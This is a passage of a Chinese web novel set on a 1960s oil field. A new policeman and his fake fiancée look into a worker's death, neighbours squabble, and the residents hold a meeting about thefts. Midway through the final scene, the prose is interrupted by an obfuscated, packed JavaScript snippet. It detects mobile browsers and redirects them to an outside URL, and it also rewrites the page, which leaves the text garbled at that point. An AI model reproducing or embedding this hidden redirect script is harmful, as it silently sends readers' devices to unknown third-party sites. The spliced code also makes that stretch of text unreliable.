因着爆炸概率上升,三人心情都有些沉重,姜满城都没了捣鼓木工活儿的心思,就连周知行跟曹老太一行人回来,三人都没时间关注,让曹老太好一通生气。这到手了就不知道珍惜她孙子,真是,一家子什么人啊。 周元庆知道侄子入赘的消息,说实话,是很吃惊的。但老娘都同意了,他几次张嘴,到底没说出反对的话。 黄毓秀则大大舒了一口气,她就怕这侄子在家里住着一直不走。她家虽然也是六十八平的大房子,可也不宽裕。大儿子结婚都嫌挤,还搬出去住了。不过小夫妻俩虽然是双职工,但工龄短,分的房子也小,只刚刚二十平,如今还没孩子,等以后有了孩子,怕是也住不开,说不得会把孩子送过来。她家的房子可不能一直住个外人。如今外人要入赘出去,她其实是松了一口气的。 “大伯,大伯娘,我得再在家里打扰几天。等我明天入职之后问下有没有宿舍,如果有的话,到时候再搬出去。如果没有,可能得打扰一段时间了。不过我会交房租和伙食费的,一个月十块钱,你们看够吗?” 周知行习惯丁是丁卯是卯,钱的事情一定要说清楚,否则什么情份都会慢慢耗干净。一个月十块钱,在如今这个时代,已经很不少了。毕竟普通人,一个月工资可能就四十,十块钱可是四分之一的工资呢。 果然,他这句话一出,大伯娘黄毓秀的脸色明显更和缓了。大伯周元庆则有些生气,他说:“你说的这是什么话。我是你大伯,家里又不是住不开,交什么钱。” 周元庆家是两房一厅一厨一卫的格局,为了方便,把大卧室隔成了两个小卧室,大儿子和大女儿搬出去后,四人住着正好。如今来了周知行,就得和小儿子周知道睡上下铺了。好在家里的床本来就是上下铺,睡起来地方也够。 “堂哥,你住着呗。我可喜欢听你讲当兵的事儿了,以后你当警察,再给我讲讲抓贼的事儿。”周知道是个十五岁的单纯小伙儿,乐呵呵地对周知行说。 周知行微笑脸:住在筒子楼的目标,达成! 40. 命案 周知行并不是一开始就打算赖在筒子楼的,这不是老是听说什么“筒子楼爆炸案”嘛,他这心啊,抓心挠肝的好奇。要知道,他可是被吃瓜系统绑定过的人,是为了吃瓜丧命的吃瓜狂徒,这不是,控制不住自己嘛。 达成目标的周知行,顺利地迎来了报道的日子。 一大早,周知行穿上崭新的短袖衬衫和皮鞋,骑上自行车,乐颠颠儿跟在姜楠身后。 也就周日半天的功夫,这家伙也不知从哪儿倒腾了一张自行车票,连跑了油田和市区两个百货商场,才买到这辆永久大扛。 他周知行,真男人,就得骑永久。嘿嘿,周知行那个乐啊,穿越一回,他对自行车可是好奇得很,早就心痒得不行,听说派出所还有什么摩托,周知行眼馋得流口水,也不知道长什么样儿。 古代的时候,他就喜欢买马,他是有系统的人,那银子就跟自来水似的,哗哗往家流。什么汗血宝马、骠国名驹,他可买了不少。如今这个年代的车子,自然得早买早享受。 要么说虾找虾鱼找鱼,乌龟找王八呢。这周知行以前就是个纨绔,最知道城里三教九流的地方在哪儿了。他也就出去逛了一圈儿的功夫,黑市儿、百货商场前面倒腾票据的、医院前面卖鸡蛋的,被他摸了个门儿清。他也有钱,手里原主的转业费、父母十几年的工资,加起来有小三千呢。 原身父亲的大伯娘和小叔婶两人也是精明,不过还是不够胆大,她们只以为他有一千,可他周知行明明有三千啊。 周知行骑着车,矮身嗖嗖嗖一顿加速,来到姜楠一侧,笑着说:“姜楠同志,你考虑的怎么样了?咱俩什么时候定亲啊?我这入赘,怎么也得你家下聘吧,哈哈哈。” 姜楠真想让这家伙闭嘴,真是,大早上就来找打。她呵呵笑两声,小声道:“你这挺着急入赘啊?你不是古人嘛,古人不是更看不起上门女婿?” “我可跟一般的古人不一样。”周知行见四下无人,低声道,“我就是一庶子,要不是命硬,早八百年就死了。你不知道,那些人为了爵位,手段比皇子夺嫡还狠辣呢,我成年早早就分出去了,一个人吃饱全家不饿。我是早就明白,这孩子啊,靠不住,啥事儿都得靠自己。” 姜楠瞥了周知行一眼,这家伙嬉皮笑脸的,眼神儿却有几分怅惘。她说:“好了,我妈说过两天就找媒人说亲,到时候回村里办个订婚宴,等咱俩岁数到了就成亲。” “行,你放心,我可是吃瓜老手,那个什么筒子楼爆炸案,我会帮着出主意的。”周知行眨眨眼,表示他什么都知道。 姜楠哼一声,长腿一用力,嗖嗖超过了周知行。周知行,就,不是很想较这个劲,他慢悠悠地跟在后面,两人一前一后到达了派出所。 新的一周,腿受伤的叶森已经调入了内勤,姜楠在座位上没坐多久,就见蓝青山带着同样一身警服的周知行过来。周知行本来就高,当兵两年,身材很是健硕,属于那种穿衣很有型的,如今一身警服穿着,说实话,都能去拍宣传照了,卖相还是很好的。 蓝青山拍拍手,为大家介绍道:“大家都停一下,我说两句。这位是军队转业过来的周知行周同志,被分到我们派出所,大家欢迎!” 说着当先鼓起掌,见大家很给面子地啪啪啪鼓掌,蓝青山点点头,抬手压了压,接着道:“以后周同志就到六组,补原来叶森的缺,和姜楠姜同志做搭档。关顺,你好好带两人,争取让他尽快上手,知道吗?” 蓝青山招呼了一通,大家很快地回到各自的岗位忙活。周知行的办公桌正好在姜楠对面,他擦着桌子,对着姜楠笑了笑。这下,两人真是要天天见了。 “小孙,你跟着何大姐去油田送个表扬信。”蓝青山拍拍手,很快再次进来,“关顺,十号油井那里有工人死亡,你带队去看看。” 蓝青山脸色异常严肃,他脚步匆匆,点着一个戴眼镜的年轻人道,“谢永平,你跟着,尽快查明死因,给钻井队和家属一个交代。” 谢永平是派出所的法医,今年二十八岁,闻言面无表情地点点头。关顺同样十分严肃,他右手一挥,招呼队员道:“出发。” 六人戴上帽子,三人一辆挎斗摩托,突突突前往案发现场。 姜楠作为女同志,被安排坐在摩托车的挎斗里。她虽然心痒摩托车,可人命关天,此时也没心情左摸摸右看看,脸色有些紧张。 关顺是开车的,见大家脸色沉重,有意调节气氛,开口道:“别这样,大家要有心理准备。我们虽然大部分是处理鸡毛蒜皮的小事儿,但有时候这种人命案还是有的。而且永平经验丰富,大家别担心。” 谢永平扶扶眼镜框,配合着说:“老关,你就别调侃我了。我算什么经验丰富啊。” 不过显然,谢永平平时不苟言笑,说这些话时,表情异常严肃,倒是令气氛更紧张了。 “你都干了六七年法医了,怎么不算经验丰富?”关顺赶紧捡起掉在地上的话瓣儿,给两位新人介绍,“你们谢大哥,那是从省城调过来的,而且是61年毕业的大学生,理论知识也是一箩筐呢,你们两个新人好好学学。” 姜楠和周知行点点头,周知行是个会套近乎的,坐车的时候,第一时间就扒着组长坐在后面,此时开口道:“那以后要请谢大哥多多指教了。” 谢永平机械地摆摆手,温强、邹立两人也放松下来。 十号油井位于第十作业处西南方向,摩托车开了大概一个小时才到。现场已经围满了人,工人和不远处的大队村民都有,乌压压还挺多。不过因为是命案,钻井队提前在现场拉了线,不让人上前。 关顺一行人一来,大家自动让出了一条路。六人矮身拉过警戒线,上前,发现案发现场在玻璃钢房子外,死者在一个大水缸里泡着,脸色青白。 钻井队的王队长介绍道:“死者叫钱大胆儿,他早年是当兵的,喜欢大早上跑步,因为天热,跑完就泡进冷水缸里洗澡。因为他经常这么干,大家也没当回事儿。可谁知道要干活儿了,他却怎么叫都不醒,大家这才觉得不对。一看,竟然没气儿了。” 谢永平戴上手套,上前查看了一番,示意关顺等人将人抬出来。姜楠见状,忙转过身,周知行则忙从车上拿出一块白床单铺在地上。 谢永平又仔细看了看,半晌,他开口道:“初步排除他杀,怀疑是因为骤热骤冷的刺激下,造成突发心肌梗塞死亡。” “这......这洗澡还能死?”王队长有些难以置信。 谢永平点点头,解释道:“他跑过步,心脏本来就跳得快,这时候再洗冷水澡,他平时应该有高血压的毛病,双重刺激下,很有可能死亡。” 姜楠想起了前些天的捉奸,钱大胆儿也是范桃花的姘头之一。不过应该跟范桃花没关系,她都不在现场。姜楠挠挠头,不知道该不该说。 她还在犹豫,那边死者家属已经到了。虽然不是工作的时候死亡,但死在井上,油田肯定要有表示的。 至于具体死因,还得解剖尸体才能确定,这些都得家属同意。 这年头,大家还是很看重身后事的,钱大胆的老娘一听说要解剖,当即摇头表示不同意:“我家大胆儿都死了,还解剖啥。我也看了,他死在水缸里,不像是淹死的,不用解剖。我家大胆儿死在队上,油田得给我家大胆儿一个说法啊。” 不是她不伤心,她也好几个儿子孙子呢,这坐在车上一个小时,哭也哭够了,她也想明白了,这最重要的,还是活着的人啊。 这就是要赔偿了。姜楠六人只是过来调查死因的,钱大胆身上一点儿伤口也没有,谢永平检查了两遍,没有中毒迹象,已经排除他杀的可能,剩下的事情就不是他们能插手的了。 六人回去的时候有些沉默,姜楠道:“关组长,是不是得给大家普及一下啊,不能洗冷水澡啥的,要不这么死了多冤枉啊。” 其他人纷纷点头,关顺道:“我会跟所长说的,哎,谁能想到,洗澡还能死了呢。” 因着来回路程比较长,六人回到所里,已经是中午休息的时间了。今天不用第六组值班,大家纷纷骑车回家吃饭。 姜楠和周知行同路,没了早上的插科打诨,周知行有些调侃地说道:“你说我是不是有点儿带衰?第一天就遇见命案。” “你还挺迷信。”姜楠回嘴。 周知行耸耸肩:“可不迷信嘛,我绑定系统还死了呢,可不得自我怀疑。” 两人一路回到家属院,老远又,又,又听到争吵声。 方阿婆和刘老太站在公厕不远处,持续输出。 刘老太搂着哇哇哭的小地质,出口成脏,她叫嚷:“你这么大年纪了,怎么还跟个四岁的娃娃计较?要不要脸,还有你们俩小瘪三,八岁的大孩子了,竟然欺负一个四岁的娃娃,还以多欺少,有没有点儿男娃的气概!看把我家小地质打的,我这就去医院,不赔钱我可不依。” 方阿婆捂着腿坐在地上,哎呦哎呦叫唤,语带哽咽,她说:“你们家连小娃娃都欺负人啊。我去上厕所,他拿着弹弓打我的腿啊。瞧把我的腿打的,都鼓包了,我还得去医院看看呢。” “我呸。”刘老太跳脚,“我家小地质才四岁,他能有什么劲儿,还打鼓包,你说这话,看大家伙儿有人信吗?不知道你是不是自己摔倒,赖我们家地质呢。我家地质的脸可是让你家南笙、南海打红了,大家伙儿都看见了的,你们休想耍赖。” 她给小孙子擦擦眼泪,心疼地说:“地质别哭,咱们去医院看看,有没有被打成脑震荡。你们家怎么这么狠的心啊,打人专打脑袋,这脑袋可是最难治的,你们这是想害人命啊。” “打了就打了,谁让他打我奶奶。”方南笙、方南海不愧是双胞胎,喊出来的话都一模一样。 孙巧莲扶着婆婆,哭丧着脸卖惨:“我家婆婆这都被打成这样了,你们程家也太欺负人了。呜呜,大家可得给我家做主啊。” 邻居们纷纷指指点点,方家婆媳拼命诉苦,可小地质才四岁,被打得哇哇哭,人小到底占便宜,这次大家倒是没帮着方家婆媳。 孙巧莲泪水涟涟,求助地望向刚下班回来的林兵。林兵虽然跟孙巧莲不清不楚,却不太喜欢方阿婆,对方家的两个孩子观感也一般,况且两个大孩子欺负一个小娃娃,他也不喜。不过碰上‘巧莲姐’祈求的目光,他当即上头,大声喊道:“刘老太,你可不能欺人太甚啊,你看小地质把方阿婆打的......” “滚一边儿去,有你什 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果然,小家伙儿眼睛都亮了,哭都顾不得了,两只小手小炮弹一样伸过来,一把抓过去放进嘴里,眼睛笑成了月牙儿。 楼上,程改改眼眶有些红,她知道,姜楠是在帮她。她虽然有一丝丝嫉妒姜楠,也想过嫁给周知行逃避下乡,可她知道,周知行没看上她。 她和姜楠做了几年的同学,还是有些了解姜楠的。姜楠看着自信、阳光,却并不格外热衷于交朋友,她更喜欢一个人。要不是两人住一个楼,她也不会跟姜楠做上朋友的。其实,她也并不自信姜楠将她当成朋友了,可如今她知道,姜楠还是在乎她的。 姜楠可能不知道,她在高中,可是很多人羡慕的对象呢。毕竟谁家的闺女过得都没有她好啊。新衣服、新文具,还有自行车!别看裘盼儿什么都要跟姜楠比,可程改改知道,裘盼儿过得并不好。 程改改抹掉眼泪,她如今要下乡了,也不知道还能不能回来,能不能再见到姜楠。 楼上在感伤,楼下林兵当然听到了林大叔的吆喝,可他在意吗?他向来就不是个听话的性子。不过见刘老太战斗力高昂,他也歇了心思。他已经出过手了啊,刘老太不听他可没办法。 他如今也没什么钱了,可不能再给孙巧莲花了。林兵缩缩肩膀,想要退到人群里,却无意间瞧见周知行的自行车,眼睛都要黏在上面了。 特别是,周知道这个傻小子,竟然乐呵呵地接过堂哥的自行车,绕着一号院撒欢儿地骑。还得意地来个大撒把,林兵眼珠子都要瞪出来了。 这年头自行车多难得啊,谁不想要?别看姜家有两辆,那是因为陈总工程师有自行车票,可普通工人,哪里是那么好弄到自行车票的?所以别看油田工人挣得不少,但楼里也不是每家每户都有自行车的。起码林兵就没有。 他工作也不多认真,劳模和先进肯定没他的,他要想买自行车,且得先去黑市捣鼓票呢。听说在黑市,一辆自行车票都能要价四五十,林兵当然不舍得了。 如今周知行才来几天啊,就有自行车了,林兵心里那个嫉妒啊。他酸溜溜地问:“周家小子,你从哪儿买的自行车啊?你不是刚转业到派出所,也没机会发自行车票吧?” 他倒是没说钱的事儿,毕竟傻子都知道,周知行手里不会缺钱,林兵在票上做文章,也是有心眼儿了。 可周知行是谁啊,他敢买,那肯定是有说辞的,他笑了笑,神情有些悲伤,他说:“部队的两位同志给的。大家也知道,我父母是烈士,我也因为受伤不能在部队里呆了,这以后要是每日走路上下班,腿也受不了。两位同志好心,临走前给了我一张自行车票,我真是没想到。” 他也不算说谎,这张票还真是他从两位同志手里忽悠过来的。其实周知行是手受伤,可谁敢说他腿就没事儿呢?他当时被救出来的时候,可是全身都是血,他说腿也受伤了,可没人能说什么。而且他也确确实实在两位同志面前卖了几天惨,两位同志可怜他没了父母,见他办葬礼的时候腿脚都不利索的样子,临走前不知道走了谁的门路,以私人的名义给了他一张自行车票。他还特意在国营饭店请了两人一顿呢。 你说他为啥卖惨?那还不是因为沈所长他们去吊唁那天,好家伙,齐刷刷四五辆自行车。周知行一个纯纯的古人,得多好奇啊。他搜寻了原主的记忆,知道那叫自行车,可不就想着买一辆尝尝鲜嘛。 林兵哪里能想到是这样,他是嫉妒,却不傻,周知行连烈士父母都搬出来了,他暗自撇撇嘴,没再说话。其他邻居闻言,纷纷望向了周知行,他堂弟骑着的自行车。 这可是永久大扛!一百八呢。 几个人眼神闪烁,在周知行和姜楠身上来回打量,不知在想些什么。 【宿主,他们想挖你墙角。】 姜楠莞尔:“要是周知行这么容易就被挖过去,我还高兴了呢。” 这是看周知行条件好,想笼络到自家去啊。 挖吧挖吧,挖走了她就不用假结婚了,嘿嘿嘿。 周知行弯了弯嘴角,在众人的目光下,来到姜楠面前,目光深情,声音柔和,他说:“小楠,咱回家吧。” 姜楠觉得,周知行属实是有些表演型人格在身上的! 41. 到哪儿都得乐呵 周知行和姜楠走了,骑车傻乐呵的周知道,也被他娘黄毓秀扭着耳朵,拎回了家。就这,傻小子还哼歌儿呢,他哥昨天就跟他说,让他今儿骑车,果然说到做到! “小行,你别太惯着知道。自行车这么金贵的东西,哪能让他这么造。” 瞧,这就是自行车的魅力,黄毓秀虽然嘴上这么说,那眼角眉梢可都带着笑呢。周知行也是个会做人的,寄住在别人家,他不一定对这个大伯娘多好,但一定会对堂弟好。这不是,效果很明显,大伯娘那是满意得很呢。 身后,刘老太和方阿婆几人还在掰扯呢。刘老太闹这么凶,也是怕方阿婆让他们赔钱,毕竟方阿婆的腿真的肿了。她年纪那么大,身上不可能没毛病,去了医院可能就要大出血,她才不干呢。反正小地质脸也被打红了,她就撺掇小地质哭闹,谁怕谁? 方阿婆婆媳见没人帮,也就偃旗息鼓了,毕竟啊,去了医院,还不定怎么样呢。小孩子身上的毛病说不清楚的,他要是一直嚷着头疼,医生还能不检查?这七七八八下来,他们家可吃不消。 大家都不闹腾了,一号院终于安静下来。楼上,姜满城死亡凝视未来女婿,被陈金花好说歹说劝住了。 相比于姜满城,陈金花可是很满意周知行的。她本来就崇拜英雄,周知行能在战场上立功,首先人品就好,再次身手肯定也不错,不然不能立功。虽然如今受伤了,但瘦死的骆驼比马大,额,好像不是这么说的,反正就是这么个意思,陈金花觉得周知行起码身手上是能保护她闺女的。 她闺女看着比她聪明,但有时候也会冲动啊。像是上次捉奸,有刀呢,就敢往前冲,这要是没个人看着,她能放心?周知行就不一样了,他肯定能帮她看住闺女的。 她将自己琢磨的一一说给姜满城听,等见到上楼来吃饭的姜楠,姜满城到底是没再说女婿的小话。 另一边,方南山心里憋着气,他就不明白了,他奶有闲心去传一个女娃的谣言,怎么不用点心思在他的亲事上。如今他家能把握住的,也就是成美娟了,他奶跟他妈真是主次都拎不清楚的。不过他历来的人设就是温柔孝顺懂事,心里再气,面上却始终是那副关心的模样,他心疼地说:“奶,咱真不去医院吗?你的腿不用看看?” “不用,那小娃也就四岁大,能有多少劲儿?我就是想讹点儿钱,谁知被刘大丫那老货识破了。”方阿婆一脸晦气,想起这两天孙子交代的事,说道,“南山你放心,明儿我就跟你妈去供销社溜达溜达,看看能不能帮帮成美娟那丫头。你这么好,她铁定能死心塌地嫁到咱们家。” 孙巧莲也觉得这几天婆婆这事儿办得不地道,不过到底是长辈,她不好说什么,见婆婆开始卖好,也附和着说了起来:“对,让那丫头看看,咱家人都是通情达理的,她肯定愿意。” 方南山露出笑模样,一家人这才吃起午饭。 睡过午觉,姜楠神清气爽地去上班,当然,在楼下再次遇见周知行,以及几个围着周知行搭讪的老大妈,周知行依旧一副深情模样儿,那眼神儿都能滴出水儿来,左一句“我家小楠”,右一句“一见钟情”,把想挖墙脚的几个人听得脸都绿了。 姜楠嘴角抽了抽,看都不看他一眼,径直去开了车子。周知行紧随其后,等两人出了一号院,姜楠警告他道:“你给我老实点儿。” 周知行冤枉:“我这是谋定而后动,是为了打消大家挖墙脚的心,你怎么能这么冤枉我呢。你也不想戴绿帽子吧?” 姜楠不理这个人来疯,骑上车子就走。周知行嘿嘿笑了两声,害羞了,绝对是害羞了。 他弯下腰,大长腿使劲儿镫了两下自行车,追上姜楠后,这才从兜里掏出一个苹果,晃了晃,笑着说:“接好了,我中午都没舍得吃,特意留给你的,接着。” 姜楠还没反应过来,下意识松开一只手接住,等看到是苹果,她有些惊讶:“你怎么没吃?” 这年头,苹果可不是经常能买到的。要知道,红富士可是日本杂交出来的,六六年才引入华夏,如今是六七年,姜楠就见过那么一次卖红富士的。周知行给她的是国光苹果,不过也很难得就是了。 “我不爱吃这些,你拿去吃吧。”周知行脸上挂着痞痞的笑。 姜楠自然知道这是托词,也没再说拒绝的话,一个苹果而已,她又不是还不起,她笑着说:“谢谢了。” 她将苹果放进车篮里,两人在树荫斑驳的午后,迎风骑着车,脸上都是灿烂的笑容。 到达派出所后,照例迎来众人暧昧的调侃。不过两人脸皮厚,可都没当一回事呢。 下午案子不多,一起筒子楼丢失蜂窝煤案,一起玻璃钢小区丢失铁锅案,都是小事儿,可是姜楠却觉得不对,回派出所的路上,她有些不确定地问:“我怎么觉得路上的人多了?是我的错觉吗?” “就是多了。”关顺推着自行车,为姜楠解释,“嗐,这不是最近油田发现了好几处大油井,这消息灵通的人可不少,都想问问油田会不会再招工。这不,亲戚套亲戚的,很多人家都找过来了,人自然就多了。” “就是,我邻居家就来了两方亲戚呢,都打两天地铺了还不走,我邻居都快愁死了。”邹立推了推眼镜儿附和道。 “怪不得。”姜楠恍然大悟,“人多事情就多,以后咱们可有的忙了。” “闭嘴。” “闭嘴。” 温强和邹立抱头,啊啊怪叫,“小楠啊,可不能这么说话的。呸呸,坏的不灵好的灵。” “那我说,希望以后都清闲得不得了......”周知行调侃。 “啊啊啊” 温强和邹立叫得更加大声了,两人停下来,双手合十念念有词:“侦查大神什么都没听见,侦查大神什么都没听见......” “好了,你俩就别作怪了。”关顺骑上自行车,潇洒地摆摆手,“回去了。” 也许真是姜楠乌鸦嘴,第二天他们组又处理了几次偷盗案,丢的东西五花八门,价值都不大,但是却又是生活里不可或缺的。还有一个公厕偷窥案呢,虽然当事人没看清是谁,报案的时候偷窥狂魔也早跑没影儿了,但也够恶心人的。大爷大妈们拉着姜楠的手,气愤地声讨了偷窥狂一个小时呢。 其实筒子楼里都有厕所,对筒子楼来说,盖不盖公厕也不打紧。可谁让油田家属院大呢,而且也不都是筒子楼,还有像是玻璃钢小区这样的平房,所以每个小区也都盖了公厕。这样大爷大妈下楼唠嗑儿,也不用再吭哧吭哧爬楼上厕所了。 两人从大爷大妈们的包围中逃出生天,一脸生无可恋地回到家属院。刚到楼下,就被曹老太通知:“晚上七点半,楼下开会啊。” 姜楠点点头,这两天偷盗案盛行,听说总部巡逻的时候,还发现有在厂子周围踩点儿的呢。油田让大家提高警惕也是正常。 果然,等吃过晚饭,大家搬着小板凳儿坐下来开会时,曹老太开口道:“大家静一静,静一静。这两天大家应该也听说了,因为最近来油田探亲的人员增加,给油田的治安工作带来了不小的挑战。这几天,二号院儿发生了一起丢蜂窝煤的事,玻璃钢小区那里又丢了铁锅,还有丢炉子的,今天竟然还有趴厕所偷窥的,真是防不胜防。因为派出所巡逻人员有限,不可能每个地方都能照顾到,所以油田居委会的意思有三个。” 她伸出三根手指,继续说:“一是让大家尽量劝亲戚回去,招工的事儿还没影儿呢,住在这里也没用。二是都照看好自家的财物,这丢了可是很难再找回来的。大家想啊,都是过来住的亲戚,他们偷了东西,天南海北的一跑,警察同志去哪儿抓人啊。最后就是上公厕的时候都先前后左右看清楚了,别让贼人得了逞。” 曹老太总结:“总之一句话,大家最近做事都小心。人多眼杂,东西丢了,就算找回来了,也有一段时间的空挡,你总是借别人的也不好啊,大家说是不是这个道理?” “小楠,你这警察,怎么连趴厕所偷窥的都抓不到,怎么当警察的?”这是嫉妒姜楠当了警察的裘老太。她也常在楼下唠嗑,天天去小区的公厕呢,可不就最关心这个,也只听到了这个嘛。至于蜂窝煤铁锅啥的,最多晚上挪进家里嘛,反正有儿媳妇干活,她才不操心。 不过不等姜楠开口,曹老太就发话了。开玩笑,她孙子也是警察呢,这句话可是能捎带上她孙子的,她必须为孙子出头。她孙子这都要做上门女婿了,她再不帮着点儿,还不得被欺负死。呜呜呜,心疼。 曹老太内心戏一堆,其实也就不到一秒的时间,她掐着腰大声道:“徐大妮,你胡搅蛮缠是吧,我就不信你不知道,不是警察抓不到趴厕所的,是他们到的时候,那家伙早就跑没影儿了,几个老太太都没看清楚是谁,警察去哪儿抓,抓谁?你以为那么容易呢。真是,听不懂人话的蠢货。” “那还不是抓不到。”裘老太低声嘟囔,“这以后上公厕都不安生了。” 角落里,老程头的眼神闪了闪。不过他一直没什么存在感,也没人看到。 有人担心趴厕所的狂魔,也有人为财物发愁。 “那蜂窝煤,家家都在走廊里堆着,难道还能搬到家里去?” 也有人为那个丢锅的感到好奇:“这咋能把锅都丢了?做完饭不收起来的嘛?” “那保不齐是小媳妇儿做事马虎,忘记了嘛。” “有可能。” 当婆婆的都表示儿媳妇还是得管着,不然做事儿就是没有她们老太太靠谱。儿媳妇们有志一同地低头撇嘴,这年头,做人儿媳妇难啊。 曹老太拍拍手,再次开口道:“静一静。我话还没说完呢,油田知道最近大家热衷于抓贼做好事儿,可任何事都不能逞强哈,有些贼身上是有武器的,可不是一两个大小伙子就能对付的。隋家小子,还有盛家小子,你们可别不听劝。” 这也是姜楠当警察的后遗症之一了。像是王自力兄弟俩都能盯着可疑人员,楼里没工作的小伙子们就更跟打了鸡血一样了。可谁让他们运气不好呢,这么多天都没发现什么可疑人员,白白溜达了好几天。 见被点到名儿的小伙子们没闹妖儿反驳,曹老太继续开口:“另外,为了大家的财物安全,楼里决定晚上把楼道的铁门拉上,十点关门落锁,六点开门哈,十点之前二楼及以上的住户都得回家。” “啊,这么早啊。曹大妈,你这不能改到十一点?”林兵叫嚷。他的辈分着实有点儿怪,他今年二十六,要说比姜楠大一辈儿也行,可他爸结婚早,才四十四,跟曹老太、裘老太这些人差着岁数呢,所以啊,这林兵就胡乱叫着,一会儿曹大妈,一会儿曹奶奶的,看他心情。他家人少,又没个女人往来交际的,大家也就不跟他计较这些。 “你个大小伙子,十点了不回来想干啥?要是十一点,还让不让我老太太睡觉了?” “那我关门?”林兵试探着说。 “那可不行。”刘老太嚷嚷开了,她可信不过林兵,谁知道他会不会忘了,“曹大姐是楼长,我们信得过,就十点,我同意。” “我也同意。” “我也是。” 少数服从多数,林兵撇撇嘴,只能作罢。 “那夜班回来的人咋办?”裘老太想到儿子裘向东经常在井上值班,说不得哪天晚上就回来了,她问:“能不能不落锁?这铁门开拉都有动静,要是真有小偷,大家也能听到。” 有人不同意,这不落锁,跟平时有啥区别? 姜楠想到前世楼道落锁,发生火灾居民无法逃生的新闻,开口道:“曹奶奶,还是不要落锁了。万一楼上发生点儿什么事儿,大家逃都逃不出来。” 众人听了,觉得也有道理,最后举手表决的时候,赞成不落锁的,堪堪比落锁的多两票。不过曹老太仍强调道:“大家还是尽量十点前回来哈,不然门开开合合的,也影响大家休息。” 四号楼全体居民会议圆满结束,还不到八点半,大家也不急着上去,纷纷问起姜楠和周知行的婚事。 “小楠,你和周家小子真处对象了?啥时候结婚啊?” “就是,结婚可得发喜糖啊,让大家沾沾喜气。” “哎,小楠这是不好意思了,跑什么啊。真是,大姑娘了,还不好意思呢。” 姜楠:冤枉啊,她哪里是不好意思,是人有三急好不好,她急着去厕所啊。 姜满城一脸的不高兴,坐在板凳上,不怎么有兴致地说:“急什么,大家等消息就行,少不了你们的。” “满城,知道你嫁闺女难受,可这闺女早晚得出嫁,你放宽心啊。” “可不是,你这老丈人也别拿乔了,我看周家小子不错,配你家小楠足够了。” 这下,脸色不好的换成了曹老太。她起身,拉着一脸乐呵的周知行,径直要回家。周知行跟大家招招手,一副领导跟大家送行的架势,逗得一群人哈哈笑。 不过周知行可不是回家,而是走向了公厕的方向。 他刚才可看见了,隋家那个隋强,可跟在姜楠后面往公厕跑了,他可得去看看。 不是他不信任姜楠啊,绝对不是,他只是想看看这个隋强怎么死。 公厕右边,姜楠刚走出来,就被隋强大力拉到了后墙。 姜楠可不是能随便被人拉着走的,她微微用力,反手握住来人的手臂,一个灵活的转身,右手手肘将人抵到墙上,左手拽住来人的衣服领子,厉声道:“谁?隋强?你干嘛?!” 隋强惨叫出声:“放手,放手,姜楠,你干嘛啊,开个玩笑都不行了,真是没趣儿” 姜楠皱眉,放下拽着衣服领子的手,没好气儿道:“什么玩笑,一点儿都不好笑!你干嘛?偷袭我啊?” 隋强撇嘴,他可是没咋看上姜楠的,虽然长得还行,但这么凶,谁敢娶啊,而且跟周知行那个家伙有一腿,他可是很不满意的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15519222|166133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要不是如今有了工作,他才懒得出手呢。 想到工作,隋强打起精神,嬉皮笑脸道:“瞧你说的,咱们同一个楼住了六七年了,我怎么会偷袭你呢,我这是试试你的身手。不错啊,不愧是当了警察的人,佩服。” 姜楠哼一声,她跟隋强可不熟,这人比她大两岁呢。如今初中高中都是两年,她上初中高中的时候,隋强都毕业了,两人可没啥交集,她可没工夫理他。 不过好话嘛,她姜楠也不是不能听听的,她抬起头,得意地睨了眼隋强:“我可不需要你佩服。行了,没事儿我走了。” “哎,别走啊,有事儿。”隋强嬉皮笑脸,“最近上新电影了,咱俩去看电影呗?我请你啊,去不去?” 姜楠狐疑地上下打量隋强,这是当她傻啊。她就说嘛,隋老太前几天还想给她介绍对象呢,这两天突然就消停了,原来在这儿等着呢。姜楠转身就走,同时硬邦邦地回绝。 “不去。不用你请。没空。” 隋强伸手要拉姜楠的胳膊,被周知行一把扭过手臂,只听咔嚓一声,隋强还没叫出声儿,周知行抢先道:“小楠,偷窥厕所的贼好像抓到了呢。” “你别胡说,疼疼疼,你特么放手。”隋强嗷嗷叫。 周知行充耳不闻,只一叠声地质问:“怎么是胡说呢?你这个年纪,既血气方刚又身手灵活,被察觉后逃窜不成问题,身高又正好,垫块石头就能看到了。还有你是单身,更有作案动机,又居住在家属区,逃窜到家里肯定找不着......” “你你你少胡说!”隋强都不知道他有这么多像‘偷窥狂’的点,他气急败坏,“你少破坏我的名声!” “哦,你还有这种东西呢。”周知行调侃,“既然在乎名声,就少在这里乱撩骚!姜楠可是要和我定亲的人,你还是离远点儿,否则真把你当偷窥狂抓了,看你以后还怎么有脸在作业处呆下去!” 隋强气得脸色通红,他低吼:“少在这里威胁人。放开我,我......我才看不上姜楠!你要是稀罕只管拿去,喜欢老子的女人有的是,老子才不稀罕什么姜楠!放开我!” “记住你说过的话。”周知行轻声威胁,“否则你知道我会怎么做。” 说着,他松开隋强。隋强察觉手臂上没了力道,反身狠狠瞪了周知行一眼,一阵儿咬牙切齿,骂骂咧咧地走了。 姜楠调侃:“你这才当几天的警察啊,就会随便乱给人扣帽子了。” 周知行挑眉:“我以前也当过侍卫的好不好,刑讯逼供、一百零八项酷刑,我还一样都没用呢。” 姜楠翻白眼儿:“这种人,也就你们男人能治了,奇了怪了,女人的话在他眼里都不是话的。” 周知行:“放心吧,他以后肯定离你远远的。” “我看是离你远远的还差不多?” 周知行笑:“那还不是一样,咱俩反正是彼此知道秘密的人,孟不离焦焦不离孟的,远离哪个都是好的,是不是这个道理?” 姜楠斜楞眼儿:“你就是这么对潜在情敌的啊?这可是伤敌一千自损八百,得不偿失啊。” 周知行打哈哈:“不会的,不会的。” 两人相携着回家,楼上,已经上楼的姜满城死死盯着窗外,哼一声:“咱家养了这么多年的好闺女,真是便宜他了。” 陈金花瞪了男人一眼,不赞成道:“我觉得小行挺好的,你别找茬儿了。” 